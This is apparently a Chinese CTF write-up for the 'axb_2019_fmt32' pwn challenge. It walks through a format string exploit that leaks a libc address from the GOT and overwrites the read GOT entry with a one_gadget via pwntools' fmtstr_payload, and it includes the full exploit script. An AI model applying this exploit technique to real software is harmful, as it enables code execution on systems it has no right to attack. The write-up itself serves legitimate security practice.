标签:ADG ima got process log 结果 RoCE 漏洞 tst
明显的格式化字符串漏洞,没什么好说的
通过%x找到偏移为8
还是改got表,但是这题没有后门函数,将got表泄露后得到libc基址
然后找到system和bin/sh的地址即可
但我就不明白了他们咋就搞到onegadget的
然后利用格式化字符串漏洞时原来pwntools自带工具的,震惊我一年
使用方法如下
https://blog.csdn.net/weixin_43092232/article/details/105647076
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte‘)
第一个参数是偏移,就是%x$s的x
第二个参数是要替换的地方,一般是{a:b}格式,a是要替换的地址,b是要替换的数据
第三个参数是已经输出的字符
第四个参数是以字节输入
这题最坑的还是接收地址
一开始我用的是%8$x,然而并没什么用
结果是要用%8$s,我真的吐出来
算了,反正无伤大雅
exp:
from pwn import *
from LibcSearcher import *
proc_name = ‘./pwn5‘
p = process(proc_name)
#p = remote(‘node3.buuoj.cn‘, 25239)
elf = ELF(proc_name)
read_got = elf.got[‘read‘]
payload = b‘a‘ + p32(read_got) + b‘%8$s‘
p.sendafter(‘me:‘, payload)
data=u32(p.recv(18)[-4:])
libc=LibcSearcher(‘read‘,data)
print(libc)
pause()
# debug_pause()
libc_base = data - 0x0d4350
one_gadget = libc_base + 0x3a812
payload1 = b‘a‘ + fmtstr_payload(8, {read_got: one_gadget},write_size = "byte",numbwritten = 0xa)
p.sendafter(‘me:‘, payload1)
p.interactive()
~
~
关于原来pwntools自带格式化字符串漏洞函数而我不知道一个个字节输入地址这件事——axb_2019_fmt32
标签:ADG ima got process log 结果 RoCE 漏洞 tst
原文地址:https://www.cnblogs.com/p201921420037/p/14646466.html